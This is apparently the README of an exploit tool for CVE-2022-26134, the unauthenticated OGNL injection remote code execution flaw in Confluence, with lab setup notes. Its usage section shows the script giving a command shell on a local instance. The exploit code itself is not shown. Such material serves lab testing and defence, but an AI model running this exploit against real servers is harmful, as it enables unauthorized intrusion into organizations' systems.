Exploit for CVE-2022-26134: Confluence Pre-Auth Remote Code Execution via OGNL Injection

Another exploit in OGNL Land

Description

Confluence is a web-based corporate wiki developed by Australian software company Atlassian.

On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution vulnerability. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.

Setup

To setup your lab, run start_conflunce.sh and follow the instructions given here.

Usage

$ ./confluence-exploit.py                          
usage: confluence-exploit.py [-h] -u URL
confluence-exploit.py: error: the following arguments are required: -u/--url 

$  ./confluence-exploit.py -u http://127.0.0.1:8090
🔗 URL: http://127.0.0.1:8090
👉 (id): whoami
confluence

References

• https://www.rapid7.com/ja/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
• Infosec Twitter